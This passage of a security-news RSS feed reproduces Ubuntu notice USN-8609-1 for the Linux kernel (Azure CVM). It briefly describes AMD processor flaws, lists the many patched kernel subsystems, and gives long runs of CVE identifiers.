CVE-2026-46176, CVE-2026-46177, CVE-2026-46178, CVE-2026-46179,
CVE-2026-46180, CVE-2026-46184, CVE-2026-46186, CVE-2026-46187,
CVE-2026-46189, CVE-2026-46190, CVE-2026-46191, CVE-2026-46193,
CVE-2026-46194, CVE-2026-46196, CVE-2026-46197, CVE-2026-46198,
CVE-2026-46199, CVE-2026-46200, CVE-2026-46201, CVE-2026-46204,
CVE-2026-46205, CVE-2026-46206, CVE-2026-46207, CVE-2026-46208,
CVE-2026-46209, CVE-2026-46211, CVE-2026-46212, CVE-2026-46214,
CVE-2026-46218, CVE-2026-46219, CVE-2026-46220, CVE-2026-46225,
CVE-2026-46226, CVE-2026-46227, CVE-2026-46229, CVE-2026-46230,
CVE-2026-46231, CVE-2026-46232, CVE-2026-46233, CVE-2026-46234,
CVE-2026-46235, CVE-2026-46236, CVE-2026-46238, CVE-2026-46241,
CVE-2026-46273, CVE-2026-46274, CVE-2026-46280, CVE-2026-46282,
CVE-2026-46285, CVE-2026-46286, CVE-2026-46287, CVE-2026-46291,
CVE-2026-46292, CVE-2026-46293, CVE-2026-46294, CVE-2026-46296,
CVE-2026-46299, CVE-2026-46301, CVE-2026-46303, CVE-2026-46304,
CVE-2026-46306, CVE-2026-46307, CVE-2026-46312, CVE-2026-46314,
CVE-2026-46319, CVE-2026-52911, CVE-2026-52920, CVE-2026-52925,
CVE-2026-52933, CVE-2026-52936, CVE-2026-52951, CVE-2026-52954,
CVE-2026-52955, CVE-2026-52957, CVE-2026-52958, CVE-2026-52961,
CVE-2026-52962, CVE-2026-52963, CVE-2026-52964, CVE-2026-52967,
CVE-2026-52968, CVE-2026-52969, CVE-2026-52970, CVE-2026-52974,
CVE-2026-52975, CVE-2026-52977, CVE-2026-52981, CVE-2026-52982,
CVE-2026-52984, CVE-2026-52985, CVE-2026-52986, CVE-2026-52989,
CVE-2026-52990, CVE-2026-52992, CVE-2026-52993, CVE-2026-52995,
CVE-2026-52998, CVE-2026-52999, CVE-2026-53001, CVE-2026-53002,
CVE-2026-53003, CVE-2026-53004, CVE-2026-53006, CVE-2026-53011,
CVE-2026-53012, CVE-2026-53013, CVE-2026-53014, CVE-2026-53015,
CVE-2026-53016, CVE-2026-53021, CVE-2026-53022, CVE-2026-53023,
CVE-2026-53032, CVE-2026-53033, CVE-2026-53034, CVE-2026-53035,
CVE-2026-53036, CVE-2026-53037, CVE-2026-53039, CVE-2026-53040,
CVE-2026-53041, CVE-2026-53043, CVE-2026-53045, CVE-2026-53046,
CVE-2026-53047, CVE-2026-53048, CVE-2026-53049, CVE-2026-53050,
CVE-2026-53052, CVE-2026-53056, CVE-2026-53058, CVE-2026-53059,
CVE-2026-53060, CVE-2026-53061, CVE-2026-53062, CVE-2026-53063,
CVE-2026-53064, CVE-2026-53065, CVE-2026-53066, CVE-2026-53068,
CVE-2026-53069, CVE-2026-53071, CVE-2026-53072, CVE-2026-53073,
CVE-2026-53074, CVE-2026-53075, CVE-2026-53076, CVE-2026-53077,
CVE-2026-53082, CVE-2026-53083, CVE-2026-53084, CVE-2026-53085,
CVE-2026-53086, CVE-2026-53088, CVE-2026-53093, CVE-2026-53094,
CVE-2026-53096, CVE-2026-53097, CVE-2026-53098, CVE-2026-53110,
CVE-2026-53111, CVE-2026-53112, CVE-2026-53115, CVE-2026-53117,
CVE-2026-53122, CVE-2026-53123, CVE-2026-53126, CVE-2026-53128,
CVE-2026-53130, CVE-2026-53279, CVE-2026-53287, CVE-2026-53289,
CVE-2026-53291, CVE-2026-53293, CVE-2026-53294, CVE-2026-53295,
CVE-2026-53296, CVE-2026-53303, CVE-2026-53304, CVE-2026-53306,
CVE-2026-53309, CVE-2026-53314, CVE-2026-53320, CVE-2026-53369,
CVE-2026-53374, CVE-2026-53375, CVE-2026-53376, CVE-2026-53379,
CVE-2026-63838, CVE-2026-63843, CVE-2026-63844, CVE-2026-63845,
CVE-2026-63846, CVE-2026-63847, CVE-2026-63848, CVE-2026-63851,
CVE-2026-63852, CVE-2026-63854, CVE-2026-63855, CVE-2026-63856,
CVE-2026-63860, CVE-2026-63861, CVE-2026-63862, CVE-2026-63865,
CVE-2026-64018, CVE-2026-64034, CVE-2026-64164)]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8609-1: Linux kernel (Azure CVM) vulnerabilities]]></title>
<description><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shar...]]></description>
<link>https://tsecurity.de/de/3691495/unix-server/usn-8609-1-linux-kernel-azure-cvm-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691495/unix-server/usn-8609-1-linux-kernel-azure-cvm-vulnerabilities/</guid>
<pubDate>Fri, 24 Jul 2026 14:17:37 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

It was discovered that some AMD Zen 5 processors supporting RDSEED
instruction did not properly handle entropy, potentially resulting in the
consumption of insufficiently random values. A local attacker could
possibly use this issue to influence the values returned by the RDSEED
instruction causing loss of confidentiality and integrity. (CVE-2025-62626)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM64 architecture;
  - MIPS architecture;
  - PowerPC architecture;
  - RISC-V architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - Compute Acceleration Framework;
  - ACPI drivers;
  - Serial ATA and Parallel ATA drivers;
  - ATM drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - Rados block device (RBD) driver;
  - RNBD block device driver;
  - Ublk userspace block driver;
  - Compressed RAM block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - TPM device driver;
  - Clock framework and drivers;
  - Clocksource drivers;
  - Data acquisition framework and drivers;
  - Counter interface drivers;
  - CPU frequency scaling framework;
  - CPU idle management framework;
  - Hardware crypto device drivers;
  - CXL (Compute Express Link) drivers;
  - DMA engine subsystem;
  - EDAC drivers;
  - EFI core;
  - GPIO subsystem;
  - GPU drivers;
  - Greybus drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO subsystem;
  - IIO ADC drivers;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
  - IOMMU subsystem;
  - IRQ chip drivers;
  - LED subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - NVIDIA Tegra memory controller driver;
  - Multifunction device drivers;
  - Broadcom VK accelerator driver;
  - Fastrpc Driver;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MOST (Media Oriented Systems Transport) drivers;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - Ethernet team driver;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - Device tree and open firmware driver;
  - PCI subsystem;
  - Performance monitor drivers;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Generic PM domains;
  - i.MX PM domains;
  - Power supply drivers;
  - RapidIO drivers;
  - RAS (Reliability, Availability, Serviceability) subsystem;
  - Remote Processor subsystem;
  - RPMSG subsystem;
  - S/390 drivers;
  - SCSI subsystem;
  - SLIMbus drivers;
  - Freescale SoC drivers;
  - MediaTek SoC drivers;
  - Microchip PolarFire SoC system controller driver;
  - Texas Instruments SoC drivers;
  - SPI subsystem;
  - Greybus lights staging drivers;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - Thermal drivers;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - ChipIdea USB driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - DesignWare USB3 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - USB Type-C Connector System Software Interface driver;
  - USB over IP driver;
  - vDPA drivers;
  - VFIO drivers;
  - Virtio Host (VHOST) subsystem;
  - Framebuffer layer;
  - TSM TDX Guest driver;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FAT file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - Journaling layer for block devices (JBD2);
  - JFS file system;
  - Network file systems library;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Proc file system;
  - Pstore file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - Tracing file system;
  - UDF file system;
  - XFS file system;
  - Audit subsystem;
  - Kernel CPU control infrastructure;
  - QorIQ DPAA2 FSL-MC bus driver;
  - Memory Management;
  - Integrity Measurement Architecture(IMA) framework;
  - KVM subsystem;
  - Memory management;
  - Networking core;
  - padata parallel execution mechanism;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Tracing infrastructure;
  - Network traffic control;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IPv6 networking;
  - IP tunnels definitions;
  - MAC80211 subsystem;
  - Netfilter;
  - User-space API (UAPI);
  - io_uring subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Perf events;
  - Kernel exit() syscall;
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - Kernel kexec() syscall;
  - KProbes tracing;
  - Locking primitives;
  - Kernel module support;
  - Padata parallel execution mechanism;
  - RCU subsystem;
  - Scheduler infrastructure;
  - Cryptographic library;
  - Scatterlist API;
  - Heterogeneous memory management;
  - KASAN memory debugging framework;
  - 9P file system network protocol;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Bluetooth subsystem;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - KCM (Kernel Connection Multiplexor) sockets driver;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Packet sockets;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - AppArmor security module;
  - Landlock security;
  - Simplified Mandatory Access Control Kernel framework;
  - ALSA framework;
  - Generic PCM loopback sound driver;
  - FireWire sound drivers;
  - HD-audio driver;
  - Creative Sound Blaster X-Fi driver;
  - AMD SoC Alsa drivers;
  - QCOM ASoC drivers;
  - Renesas ASoC drivers;
  - Samsung ASoC drivers;
  - SoC audio core drivers;
  - SOF drivers;
  - STI ASoC drivers;
  - USB sound devices;
  - Objtool;
(CVE-2025-21709, CVE-2025-22116, CVE-2025-38426, CVE-2025-39764,
CVE-2025-40005, CVE-2025-40135, CVE-2025-40150, CVE-2025-68175,
CVE-2025-68239, CVE-2025-68334, CVE-2025-68736, CVE-2025-71152,
CVE-2025-71161, CVE-2025-71203, CVE-2025-71221, CVE-2025-71229,
CVE-2025-71231, CVE-2025-71232, CVE-2025-71233, CVE-2025-71235,
CVE-2025-71236, CVE-2025-71237, CVE-2025-71238, CVE-2025-71239,
CVE-2025-71265, CVE-2025-71266, CVE-2025-71267, CVE-2025-71269,
CVE-2025-71272, CVE-2025-71273, CVE-2025-71274, CVE-2025-71286,
CVE-2025-71287, CVE-2025-71288, CVE-2025-71291, CVE-2025-71292,
CVE-2025-71294, CVE-2025-71295, CVE-2025-71297, CVE-2025-71304,
CVE-2025-71305, CVE-2026-22981, CVE-2026-22985, CVE-2026-22993,
CVE-2026-23004, CVE-2026-23066, CVE-2026-23100, CVE-2026-23104,
CVE-2026-23118, CVE-2026-23138, CVE-2026-23154, CVE-2026-23157,
CVE-2026-23169, CVE-2026-23171, CVE-2026-23220, CVE-2026-23221,
CVE-2026-23222, CVE-2026-23226, CVE-2026-23227, CVE-2026-23228,
CVE-2026-23229, CVE-2026-23230, CVE-2026-23233, CVE-2026-23234,
CVE-2026-23235, CVE-2026-23236, CVE-2026-23237, CVE-2026-23238,
CVE-2026-23241, CVE-2026-23242, CVE-2026-23243, CVE-2026-23244,
CVE-2026-23245, CVE-2026-23246, CVE-2026-23249, CVE-2026-23253,
CVE-2026-23255, CVE-2026-23266, CVE-2026-23267, CVE-2026-23270,
CVE-2026-23271, CVE-2026-23272, CVE-2026-23276, CVE-2026-23277,
CVE-2026-23278, CVE-2026-23279, CVE-2026-23281, CVE-2026-23284,
CVE-2026-23285, CVE-2026-23286, CVE-2026-23287, CVE-2026-23289,
CVE-2026-23290, CVE-2026-23291, CVE-2026-23292, CVE-2026-23293,
CVE-2026-23296, CVE-2026-23298, CVE-2026-23300, CVE-2026-23302,
CVE-2026-23303, CVE-2026-23304, CVE-2026-23306, CVE-2026-23307,
CVE-2026-23308, CVE-2026-23310, CVE-2026-23312, CVE-2026-23313,
CVE-2026-23315, CVE-2026-23317, CVE-2026-23318, CVE-2026-23319,
CVE-2026-23321, CVE-2026-23324, CVE-2026-23325, CVE-2026-23330,
CVE-2026-23334, CVE-2026-23335, CVE-2026-23336, CVE-2026-23339,
CVE-2026-23340, CVE-2026-23343, CVE-2026-23347, CVE-2026-23352,
CVE-2026-23356, CVE-2026-23357, CVE-2026-23359, CVE-2026-23361,
CVE-2026-23362, CVE-2026-23363, CVE-2026-23364, CVE-2026-23365,
CVE-2026-23367, CVE-2026-23368, CVE-2026-23369, CVE-2026-23370,
CVE-2026-23372, CVE-2026-23374, CVE-2026-23375, CVE-2026-23378,
CVE-2026-23379, CVE-2026-23381, CVE-2026-23382, CVE-2026-23383,
CVE-2026-23386, CVE-2026-23387, CVE-2026-23388, CVE-2026-23389,
CVE-2026-23391, CVE-2026-23392, CVE-2026-23395, CVE-2026-23396,
CVE-2026-23397, CVE-2026-23398, CVE-2026-23399, CVE-2026-23401,
CVE-2026-23412, CVE-2026-23413, CVE-2026-23414, CVE-2026-23418,
CVE-2026-23419, CVE-2026-23420, CVE-2026-23426, CVE-2026-23428,
CVE-2026-23434, CVE-2026-23438, CVE-2026-23439, CVE-2026-23440,
CVE-2026-23441, CVE-2026-23442, CVE-2026-23444, CVE-2026-23446,
CVE-2026-23447, CVE-2026-23448, CVE-2026-23449, CVE-2026-23450,
CVE-2026-23452, CVE-2026-23454, CVE-2026-23455, CVE-2026-23456,
CVE-2026-23457, CVE-2026-23458, CVE-2026-23460, CVE-2026-23461,
CVE-2026-23462, CVE-2026-23463, CVE-2026-23464, CVE-2026-23465,
CVE-2026-23468, CVE-2026-23470, CVE-2026-23474, CVE-2026-23475,
CVE-2026-31389, CVE-2026-31391, CVE-2026-31392, CVE-2026-31393,
CVE-2026-31394, CVE-2026-31396, CVE-2026-31399, CVE-2026-31400,
CVE-2026-31402, CVE-2026-31403, CVE-2026-31405, CVE-2026-31407,
CVE-2026-31408, CVE-2026-31409, CVE-2026-31411, CVE-2026-31412,
CVE-2026-31414, CVE-2026-31415, CVE-2026-31416, CVE-2026-31417,
CVE-2026-31418, CVE-2026-31421, CVE-2026-31422, CVE-2026-31423,
CVE-2026-31424, CVE-2026-31425, CVE-2026-31426, CVE-2026-31427,
CVE-2026-31428, CVE-2026-31429, CVE-2026-31430, CVE-2026-31432,
CVE-2026-31433, CVE-2026-31436, CVE-2026-31438, CVE-2026-31439,
CVE-2026-31440, CVE-2026-31441, CVE-2026-31446, CVE-2026-31447,
CVE-2026-31448, CVE-2026-31449, CVE-2026-31450, CVE-2026-31451,
CVE-2026-31452, CVE-2026-31453, CVE-2026-31454, CVE-2026-31455,
CVE-2026-31458, CVE-2026-31464, CVE-2026-31466, CVE-2026-31467,
CVE-2026-31469, CVE-2026-31470, CVE-2026-31473, CVE-2026-31474,
CVE-2026-31476, CVE-2026-31477, CVE-2026-31478, CVE-2026-31480,
CVE-2026-31482, CVE-2026-31483, CVE-2026-31485, CVE-2026-31487,
CVE-2026-31488, CVE-2026-31489, CVE-2026-31492, CVE-2026-31494,
CVE-2026-31495, CVE-2026-31496, CVE-2026-31497, CVE-2026-31498,
CVE-2026-31499, CVE-2026-31500, CVE-2026-31502, CVE-2026-31503,
CVE-2026-31505, CVE-2026-31506, CVE-2026-31507, CVE-2026-31508,
CVE-2026-31509, CVE-2026-31510, CVE-2026-31511, CVE-2026-31512,
CVE-2026-31515, CVE-2026-31516, CVE-2026-31518, CVE-2026-31519,
CVE-2026-31520, CVE-2026-31521, CVE-2026-31522, CVE-2026-31523,
CVE-2026-31524, CVE-2026-31525, CVE-2026-31527, CVE-2026-31528,
CVE-2026-31530, CVE-2026-31532, CVE-2026-31540, CVE-2026-31542,
CVE-2026-31545, CVE-2026-31546, CVE-2026-31548, CVE-2026-31549,
CVE-2026-31550, CVE-2026-31551, CVE-2026-31552, CVE-2026-31554,
CVE-2026-31555, CVE-2026-31556, CVE-2026-31557, CVE-2026-31563,
CVE-2026-31565, CVE-2026-31566, CVE-2026-31570, CVE-2026-31575,
CVE-2026-31576, CVE-2026-31577, CVE-2026-31578, CVE-2026-31580,
CVE-2026-31581, CVE-2026-31582, CVE-2026-31583, CVE-2026-31584,
CVE-2026-31585, CVE-2026-31586, CVE-2026-31587, CVE-2026-31588,
CVE-2026-31590, CVE-2026-31594, CVE-2026-31595, CVE-2026-31596,
CVE-2026-31597, CVE-2026-31598, CVE-2026-31599, CVE-2026-31602,
CVE-2026-31603, CVE-2026-31604, CVE-2026-31605, CVE-2026-31606,
CVE-2026-31607, CVE-2026-31610, CVE-2026-31611, CVE-2026-31612,
CVE-2026-31613, CVE-2026-31615, CVE-2026-31616, CVE-2026-31617,
CVE-2026-31618, CVE-2026-31619, CVE-2026-31622, CVE-2026-31623,
CVE-2026-31624, CVE-2026-31625, CVE-2026-31626, CVE-2026-31627,
CVE-2026-31628, CVE-2026-31629, CVE-2026-31634, CVE-2026-31637,
CVE-2026-31638, CVE-2026-31639, CVE-2026-31642, CVE-2026-31645,
CVE-2026-31646, CVE-2026-31648, CVE-2026-31649, CVE-2026-31651,
CVE-2026-31655, CVE-2026-31656, CVE-2026-31657, CVE-2026-31658,
CVE-2026-31659, CVE-2026-31660, CVE-2026-31661, CVE-2026-31662,
CVE-2026-31664, CVE-2026-31665, CVE-2026-31667, CVE-2026-31668,
CVE-2026-31669, CVE-2026-31670, CVE-2026-31671, CVE-2026-31672,
CVE-2026-31673, CVE-2026-31674, CVE-2026-31675, CVE-2026-31677,
CVE-2026-31678, CVE-2026-31679, CVE-2026-31680, CVE-2026-31681,
CVE-2026-31682, CVE-2026-31683, CVE-2026-31684, CVE-2026-31685,
CVE-2026-31686, CVE-2026-31687, CVE-2026-31689, CVE-2026-31693,
CVE-2026-31694, CVE-2026-31695, CVE-2026-31696, CVE-2026-31697,
CVE-2026-31698, CVE-2026-31699, CVE-2026-31700, CVE-2026-31701,
CVE-2026-31702, CVE-2026-31704, CVE-2026-31705, CVE-2026-31706,
CVE-2026-31707, CVE-2026-31708, CVE-2026-31709, CVE-2026-31711,
CVE-2026-31712, CVE-2026-31714, CVE-2026-31715, CVE-2026-31716,
CVE-2026-31720, CVE-2026-31721, CVE-2026-31722, CVE-2026-31723,
CVE-2026-31724, CVE-2026-31725, CVE-2026-31726, CVE-2026-31728,
CVE-2026-31729, CVE-2026-31730, CVE-2026-31731, CVE-2026-31737,
CVE-2026-31738, CVE-2026-31740, CVE-2026-31741, CVE-2026-31747,
CVE-2026-31748, CVE-2026-31749, CVE-2026-31751, CVE-2026-31752,
CVE-2026-31754, CVE-2026-31755, CVE-2026-31756, CVE-2026-31758,
CVE-2026-31759, CVE-2026-31761, CVE-2026-31762, CVE-2026-31763,
CVE-2026-31767, CVE-2026-31768, CVE-2026-31770, CVE-2026-31772,
CVE-2026-31773, CVE-2026-31778, CVE-2026-31779, CVE-2026-31780,
CVE-2026-31781, CVE-2026-31788, CVE-2026-43007, CVE-2026-43011,
CVE-2026-43012, CVE-2026-43013, CVE-2026-43014, CVE-2026-43015,
CVE-2026-43016, CVE-2026-43017, CVE-2026-43018, CVE-2026-43019,
CVE-2026-43020, CVE-2026-43023, CVE-2026-43024, CVE-2026-43025,
CVE-2026-43026, CVE-2026-43027, CVE-2026-43028, CVE-2026-43030,
CVE-2026-43032, CVE-2026-43035, CVE-2026-43036, CVE-2026-43037,
CVE-2026-43038, CVE-2026-43040, CVE-2026-43041, CVE-2026-43043,
CVE-2026-43044, CVE-2026-43046, CVE-2026-43047, CVE-2026-43049,
CVE-2026-43050, CVE-2026-43051, CVE-2026-43052, CVE-2026-43054,
CVE-2026-43056, CVE-2026-43057, CVE-2026-43058, CVE-2026-43059,
CVE-2026-43060, CVE-2026-43061, CVE-2026-43062, CVE-2026-43064,
CVE-2026-43065, CVE-2026-43066, CVE-2026-43068, CVE-2026-43069,
CVE-2026-43071, CVE-2026-43072, CVE-2026-43073, CVE-2026-43074,
CVE-2026-43075, CVE-2026-43076, CVE-2026-43079, CVE-2026-43080,
CVE-2026-43081, CVE-2026-43082, CVE-2026-43085, CVE-2026-43086,
CVE-2026-43088, CVE-2026-43089, CVE-2026-43091, CVE-2026-43092,
CVE-2026-43093, CVE-2026-43094, CVE-2026-43098, CVE-2026-43099,
CVE-2026-43103, CVE-2026-43104, CVE-2026-43105, CVE-2026-43107,
CVE-2026-43109, CVE-2026-43110, CVE-2026-43111, CVE-2026-43112,
CVE-2026-43113, CVE-2026-43114, CVE-2026-43117, CVE-2026-43119,
CVE-2026-43120, CVE-2026-43123, CVE-2026-43124, CVE-2026-43128,
CVE-2026-43129, CVE-2026-43130, CVE-2026-43132, CVE-2026-43133,
CVE-2026-43134, CVE-2026-43135, CVE-2026-43136, CVE-2026-43137,
CVE-2026-43139, CVE-2026-43140, CVE-2026-43141, CVE-2026-43143,
CVE-2026-43145, CVE-2026-43147, CVE-2026-43148, CVE-2026-43149,
CVE-2026-43150, CVE-2026-43152, CVE-2026-43153, CVE-2026-43156,
CVE-2026-43157, CVE-2026-43158, CVE-2026-43159, CVE-2026-43162,
CVE-2026-43163, CVE-2026-43167, CVE-2026-43168, CVE-2026-43169,
CVE-2026-43170, CVE-2026-43171, CVE-2026-43173, CVE-2026-43175,
CVE-2026-43180, CVE-2026-43182, CVE-2026-43183, CVE-2026-43184,
CVE-2026-43185, CVE-2026-43186, CVE-2026-43187, CVE-2026-43189,
CVE-2026-43190, CVE-2026-43194, CVE-2026-43196, CVE-2026-43199,
CVE-2026-43200, CVE-2026-43201, CVE-2026-43202, CVE-2026-43203,
CVE-2026-43205, CVE-2026-43206, CVE-2026-43207, CVE-2026-43209,
CVE-2026-43211, CVE-2026-43214, CVE-2026-43215, CVE-2026-43218,
CVE-2026-43221, CVE-2026-43222, CVE-2026-43223, CVE-2026-43225,
CVE-2026-43226, CVE-2026-43227, CVE-2026-43230, CVE-2026-43231,
CVE-2026-43232, CVE-2026-43233, CVE-2026-43236, CVE-2026-43238,
CVE-2026-43239, CVE-2026-43241, CVE-2026-43242, CVE-2026-43244,
CVE-2026-43245, CVE-2026-43246, CVE-2026-43248, CVE-2026-43249,
CVE-2026-43250, CVE-2026-43251, CVE-2026-43252, CVE-2026-43253,
CVE-2026-43255, CVE-2026-43256, CVE-2026-43257, CVE-2026-43261,
CVE-2026-43262, CVE-2026-43264, CVE-2026-43265, CVE-2026-43266,
CVE-2026-43268, CVE-2026-43269, CVE-2026-43270, CVE-2026-43271,
CVE-2026-43273, CVE-2026-43275, CVE-2026-43277, CVE-2026-43278,
CVE-2026-43279, CVE-2026-43281, CVE-2026-43283, CVE-2026-43287,
CVE-2026-43288, CVE-2026-43289, CVE-2026-43291, CVE-2026-43295,
CVE-2026-43296, CVE-2026-43297, CVE-2026-43300, CVE-2026-43302,
CVE-2026-43304, CVE-2026-43312, CVE-2026-43313, CVE-2026-43314,
CVE-2026-43315, CVE-2026-43316, CVE-2026-43317, CVE-2026-43318,
CVE-2026-43319, CVE-2026-43320, CVE-2026-43324, CVE-2026-43327,
CVE-2026-43328, CVE-2026-43329, CVE-2026-43330, CVE-2026-43332,
CVE-2026-43333, CVE-2026-43334, CVE-2026-43336, CVE-2026-43338,
CVE-2026-43339, CVE-2026-43340, CVE-2026-43341, CVE-2026-43342,
CVE-2026-43343, CVE-2026-43345, CVE-2026-43350, CVE-2026-43355,
CVE-2026-43357, CVE-2026-43359, CVE-2026-43360, CVE-2026-43361,
CVE-2026-43363, CVE-2026-43365, CVE-2026-43366, CVE-2026-43368,
CVE-2026-43370, CVE-2026-43372, CVE-2026-43373, CVE-2026-43377,
CVE-2026-43378, CVE-2026-43380, CVE-2026-43381, CVE-2026-43382,
CVE-2026-43383, CVE-2026-43384, CVE-2026-43386, CVE-2026-43387,
CVE-2026-43395, CVE-2026-43397, CVE-2026-43405, CVE-2026-43406,
CVE-2026-43407, CVE-2026-43408, CVE-2026-43409, CVE-2026-43411,
CVE-2026-43412, CVE-2026-43413, CVE-2026-43414, CVE-2026-43415,
CVE-2026-43419, CVE-2026-43420, CVE-2026-43421, CVE-2026-43424,
CVE-2026-43425, CVE-2026-43426, CVE-2026-43427, CVE-2026-43428,
CVE-2026-43429, CVE-2026-43430, CVE-2026-43432, CVE-2026-43436,
CVE-2026-43437, CVE-2026-43439, CVE-2026-43441, CVE-2026-43445,
CVE-2026-43448, CVE-2026-43449, CVE-2026-43450, CVE-2026-43451,
CVE-2026-43452, CVE-2026-43453, CVE-2026-43455, CVE-2026-43456,
CVE-2026-43457, CVE-2026-43458, CVE-2026-43459, CVE-2026-43466,
CVE-2026-43467, CVE-2026-43468, CVE-2026-43469, CVE-2026-43471,
CVE-2026-43472, CVE-2026-43473, CVE-2026-43475, CVE-2026-43476,
CVE-2026-43480, CVE-2026-43483, CVE-2026-43484, CVE-2026-43488,
CVE-2026-43490, CVE-2026-43491, CVE-2026-43492, CVE-2026-43493,
CVE-2026-43495, CVE-2026-43496, CVE-2026-43497, CVE-2026-43499,
CVE-2026-43501, CVE-2026-43502, CVE-2026-45834, CVE-2026-45835,
CVE-2026-45836, CVE-2026-45838, CVE-2026-45839, CVE-2026-45840,
CVE-2026-45841, CVE-2026-45842, CVE-2026-45843, CVE-2026-45844,
CVE-2026-45845, CVE-2026-45846, CVE-2026-45847, CVE-2026-45848,
CVE-2026-45849, CVE-2026-45851, CVE-2026-45852, CVE-2026-45855,
CVE-2026-45856, CVE-2026-45857, CVE-2026-45858, CVE-2026-45859,
CVE-2026-45860, CVE-2026-45861, CVE-2026-45862, CVE-2026-45864,
CVE-2026-45865, CVE-2026-45866, CVE-2026-45867, CVE-2026-45868,
CVE-2026-45869, CVE-2026-45870, CVE-2026-45871, CVE-2026-45872,
CVE-2026-45873, CVE-2026-45875, CVE-2026-45877, CVE-2026-45878,
CVE-2026-45879, CVE-2026-45880, CVE-2026-45881, CVE-2026-45882,
CVE-2026-45883, CVE-2026-45884, CVE-2026-45885, CVE-2026-45886,
CVE-2026-45890, CVE-2026-45891, CVE-2026-45893, CVE-2026-45895,
CVE-2026-45899, CVE-2026-45902, CVE-2026-45904, CVE-2026-45905,
CVE-2026-45910, CVE-2026-45911, CVE-2026-45912, CVE-2026-45913,
CVE-2026-45914, CVE-2026-45915, CVE-2026-45916, CVE-2026-45917,
CVE-2026-45919, CVE-2026-45920, CVE-2026-45921, CVE-2026-45923,
CVE-2026-45924, CVE-2026-45928, CVE-2026-45935, CVE-2026-45936,
CVE-2026-45938, CVE-2026-45941, CVE-2026-45942, CVE-2026-45943,
CVE-2026-45946, CVE-2026-45947, CVE-2026-45948, CVE-2026-45954,
CVE-2026-45956, CVE-2026-45957, CVE-2026-45958, CVE-2026-45960,
CVE-2026-45962, CVE-2026-45964, CVE-2026-45965, CVE-2026-45968,
CVE-2026-45969, CVE-2026-45970, CVE-2026-45972, CVE-2026-45973,
CVE-2026-45974, CVE-2026-45976, CVE-2026-45978, CVE-2026-45981,
CVE-2026-45982, CVE-2026-45983, CVE-2026-45984, CVE-2026-45985,
CVE-2026-45986, CVE-2026-45987, CVE-2026-45988, CVE-2026-45989,
CVE-2026-45991, CVE-2026-45994, CVE-2026-45996, CVE-2026-45997,
CVE-2026-45999, CVE-2026-46002, CVE-2026-46003, CVE-2026-46004,
CVE-2026-46005, CVE-2026-46006, CVE-2026-46007, CVE-2026-46009,
CVE-2026-46011, CVE-2026-46012, CVE-2026-46015, CVE-2026-46016,
CVE-2026-46018, CVE-2026-46019, CVE-2026-46021, CVE-2026-46022,
CVE-2026-46023, CVE-2026-46024, CVE-2026-46026, CVE-2026-46027,
CVE-2026-46031, CVE-2026-46033, CVE-2026-46037, CVE-2026-46038,
CVE-2026-46040, CVE-2026-46041, CVE-2026-46043, CVE-2026-46044,
